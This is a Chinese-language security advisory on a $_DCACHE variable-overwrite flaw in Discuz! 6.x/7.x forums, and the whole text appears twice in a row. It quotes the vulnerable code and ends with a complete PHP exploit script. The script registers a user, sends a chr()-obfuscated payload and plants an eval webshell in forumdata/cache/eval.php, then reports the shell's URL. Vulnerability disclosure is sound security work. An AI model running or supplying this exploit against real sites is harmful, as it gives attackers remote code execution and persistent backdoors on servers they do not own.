Discuz! $_DCACHE数组变量覆盖漏洞
发布日期:2008-11-14
更新日期:2008-11-17
受影响系统:
Discuz! Discuz! 7.0
Discuz! Discuz! 6.0.1
描述:BUGTRAQ ID: 32303
Discuz!是一款华人地区非常流行的Web论坛程序。
由于Discuz!的wap\index.php调用Chinese类里Convert方法在处理post数据时错误的忽视对数组的处理,可能导致数组被覆盖为NULL。当覆盖$_DCACHE时就可能导致跨站脚本、SQL注入、代码执行等严重的安全问题。
以下是/wap/index.php中的漏洞代码段:
//43行
$chs = %26#39;%26#39;;
if($_POST %26amp;%26amp; $charset != %26#39;utf-8%26#39;) {
$chs = new Chinese(%26#39;UTF-8%26#39;, $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}
...
if(in_array($action, array(%26#39;home%26#39;, %26#39;login%26#39;, %26#39;register%26#39;, %26#39;search%26#39;, %26#39;stats%26#39;, %26#39;my%26#39;, %26#39;myphone%26#39;, %26#39;goto%26#39;, %26#39;forum%26#39;, %26#39;thread%26#39;, %26#39;post%26#39;))) {
require_once %26#39;./include/%26#39;.$action.%26#39;.inc.php%26#39;;
这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法存在一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE。如果POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL,再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串。
/wap/include/register.inc.php
//124行
require_once DISCUZ_ROOT.%26#39;./include/cache.func.php%26#39;;
$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]++;
$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;] = $discuz_userss;
updatesettings();
这里是注册用户后更新缓存数据,在updatesettings()中如下处理:
include/cache.func.php
//252行
function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE[%26#39;settings%26#39;]) %26amp;%26amp; is_array($_DCACHE[%26#39;settings%26#39;])) {
writetocache(%26#39;settings%26#39;, %26#39;%26#39;, %26#39;$_DCACHE[\%26#39;settings\%26#39;] = %26#39;.arrayeval($_DCACHE[%26#39;settings%26#39;]).";\n\n");
}
}
可以看到这里写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将只有$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;]。
include/common.inc.php
//95行
$cachelost = (@include DISCUZ_ROOT.%26#39;./forumdata/cache/cache_settings.php%26#39;) ? %26#39;%26#39; : %26#39;settings%26#39;;
@extract($_DCACHE[%26#39;settings%26#39;]);
...
$styleid = intval(!empty($_GET[%26#39;styleid%26#39;]) ? $_GET[%26#39;styleid%26#39;] :
(!empty($_POST[%26#39;styleid%26#39;]) ? $_POST[%26#39;styleid%26#39;] :
(!empty($_DSESSION[%26#39;styleid%26#39;]) ? $_DSESSION[%26#39;styleid%26#39;] :
$_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]);
if(@!include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.intval(!empty($forum[%26#39;styleid%26#39;]) ? $forum[%26#39;styleid%26#39;] : $styleid).%26#39;.php%26#39;) {
$cachelost .= (@include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.($styleid = $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]).%26#39;.php%26#39;) ? %26#39;%26#39; : %26#39; style_%26#39;.$styleid;
}
这里用extract处理了$_DCACHE[%26#39;settings%26#39;],但由于此时包含的forumdata/cache/cache_settings.php文件中仅存在$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用。攻击者可以随意提交这些变量,导致跨站脚本、sql注入、命令执行等严重的安全问题。
请注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1%26amp;styleid=1%26amp;inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是wap注册时写入的数据。
<*来源:ryat (ryat@wolvez.org)
链接:http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt
*>
测试方法:<font color='#FF0000'><p align='center'>警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!</p></font>#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = %26#39;www.80vul.com%26#39;;
// 服务器域名或IP
$path = %26#39;/discuz/%26#39;;
// 程序所在的路径
$key = 0;
// 上面的变量编辑好后,请将此处的值改为1
if (strpos($host, %26#39;://%26#39;) !== false || strpos($path, %26#39;/%26#39;) === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-\n");
error_reporting(7);
ini_set(%26#39;max_execution_time%26#39;, 0);
$key = time();
$cmd = %26#39;action=register%26amp;username=%26#39;.$key.%26#39;%26amp;password=%26#39;.$key.%26#39;%26amp;email=%26#39;.$key.%26#39;@80vul.com%26amp;_DCACHE=1%26#39;;
$resp = send();
preg_match(%26#39;/logout=yes%26amp;amp;formhash=[a-z0-9]{8}%26amp;amp;sid=([a-zA-Z0-9]{6})/%26#39;, $resp, $sid);
if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-\n");
$cmd = %26#39;stylejump[1]=1%26amp;styleid=1%26amp;inajax=1%26amp;transsidstatus=1%26amp;sid=%26#39;.$sid[1].%26#39;%26amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}%26#39;;
send();
$shell = %26#39;http://%26#39;.$host.$path.%26#39;forumdata/cache/eval.php%26#39;;
if (file_get_contents($shell) == %26#39;80vul%26#39;)
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");
function send()
{
global $host, $path, $url, $cmd;
$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = %26#39;%26#39;;
while ($fp %26amp;%26amp; !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
建议:厂商补丁:
Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.discuz.net/
发布日期:2008-11-14
更新日期:2008-11-17
受影响系统:
Discuz! Discuz! 7.0
Discuz! Discuz! 6.0.1
描述:BUGTRAQ ID: 32303
Discuz!是一款华人地区非常流行的Web论坛程序。
由于Discuz!的wap\index.php调用Chinese类里Convert方法在处理post数据时错误的忽视对数组的处理,可能导致数组被覆盖为NULL。当覆盖$_DCACHE时就可能导致跨站脚本、SQL注入、代码执行等严重的安全问题。
以下是/wap/index.php中的漏洞代码段:
//43行
$chs = %26#39;%26#39;;
if($_POST %26amp;%26amp; $charset != %26#39;utf-8%26#39;) {
$chs = new Chinese(%26#39;UTF-8%26#39;, $charset);
foreach($_POST as $key => $value) {
$$key = addslashes(stripslashes($chs->Convert($$key)));
}
unset($chs);
}
...
if(in_array($action, array(%26#39;home%26#39;, %26#39;login%26#39;, %26#39;register%26#39;, %26#39;search%26#39;, %26#39;stats%26#39;, %26#39;my%26#39;, %26#39;myphone%26#39;, %26#39;goto%26#39;, %26#39;forum%26#39;, %26#39;thread%26#39;, %26#39;post%26#39;))) {
require_once %26#39;./include/%26#39;.$action.%26#39;.inc.php%26#39;;
这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法存在一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE。如果POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL,再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串。
/wap/include/register.inc.php
//124行
require_once DISCUZ_ROOT.%26#39;./include/cache.func.php%26#39;;
$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]++;
$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;] = $discuz_userss;
updatesettings();
这里是注册用户后更新缓存数据,在updatesettings()中如下处理:
include/cache.func.php
//252行
function updatesettings() {
global $_DCACHE;
if(isset($_DCACHE[%26#39;settings%26#39;]) %26amp;%26amp; is_array($_DCACHE[%26#39;settings%26#39;])) {
writetocache(%26#39;settings%26#39;, %26#39;%26#39;, %26#39;$_DCACHE[\%26#39;settings\%26#39;] = %26#39;.arrayeval($_DCACHE[%26#39;settings%26#39;]).";\n\n");
}
}
可以看到这里写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将只有$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;]。
include/common.inc.php
//95行
$cachelost = (@include DISCUZ_ROOT.%26#39;./forumdata/cache/cache_settings.php%26#39;) ? %26#39;%26#39; : %26#39;settings%26#39;;
@extract($_DCACHE[%26#39;settings%26#39;]);
...
$styleid = intval(!empty($_GET[%26#39;styleid%26#39;]) ? $_GET[%26#39;styleid%26#39;] :
(!empty($_POST[%26#39;styleid%26#39;]) ? $_POST[%26#39;styleid%26#39;] :
(!empty($_DSESSION[%26#39;styleid%26#39;]) ? $_DSESSION[%26#39;styleid%26#39;] :
$_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]);
if(@!include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.intval(!empty($forum[%26#39;styleid%26#39;]) ? $forum[%26#39;styleid%26#39;] : $styleid).%26#39;.php%26#39;) {
$cachelost .= (@include DISCUZ_ROOT.%26#39;./forumdata/cache/style_%26#39;.($styleid = $_DCACHE[%26#39;settings%26#39;][%26#39;styleid%26#39;]).%26#39;.php%26#39;) ? %26#39;%26#39; : %26#39; style_%26#39;.$styleid;
}
这里用extract处理了$_DCACHE[%26#39;settings%26#39;],但由于此时包含的forumdata/cache/cache_settings.php文件中仅存在$_DCACHE[%26#39;settings%26#39;][%26#39;totalmembers%26#39;]和$_DCACHE[%26#39;settings%26#39;][%26#39;lastmember%26#39;],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用。攻击者可以随意提交这些变量,导致跨站脚本、sql注入、命令执行等严重的安全问题。
请注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1%26amp;styleid=1%26amp;inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是wap注册时写入的数据。
<*来源:ryat (ryat@wolvez.org)
链接:http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt
*>
测试方法:<font color='#FF0000'><p align='center'>警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!</p></font>#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = %26#39;www.80vul.com%26#39;;
// 服务器域名或IP
$path = %26#39;/discuz/%26#39;;
// 程序所在的路径
$key = 0;
// 上面的变量编辑好后,请将此处的值改为1
if (strpos($host, %26#39;://%26#39;) !== false || strpos($path, %26#39;/%26#39;) === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-\n");
error_reporting(7);
ini_set(%26#39;max_execution_time%26#39;, 0);
$key = time();
$cmd = %26#39;action=register%26amp;username=%26#39;.$key.%26#39;%26amp;password=%26#39;.$key.%26#39;%26amp;email=%26#39;.$key.%26#39;@80vul.com%26amp;_DCACHE=1%26#39;;
$resp = send();
preg_match(%26#39;/logout=yes%26amp;amp;formhash=[a-z0-9]{8}%26amp;amp;sid=([a-zA-Z0-9]{6})/%26#39;, $resp, $sid);
if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-\n");
$cmd = %26#39;stylejump[1]=1%26amp;styleid=1%26amp;inajax=1%26amp;transsidstatus=1%26amp;sid=%26#39;.$sid[1].%26#39;%26amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}%26#39;;
send();
$shell = %26#39;http://%26#39;.$host.$path.%26#39;forumdata/cache/eval.php%26#39;;
if (file_get_contents($shell) == %26#39;80vul%26#39;)
exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");
function send()
{
global $host, $path, $url, $cmd;
$data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$data .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = %26#39;%26#39;;
while ($fp %26amp;%26amp; !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
建议:厂商补丁:
Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.discuz.net/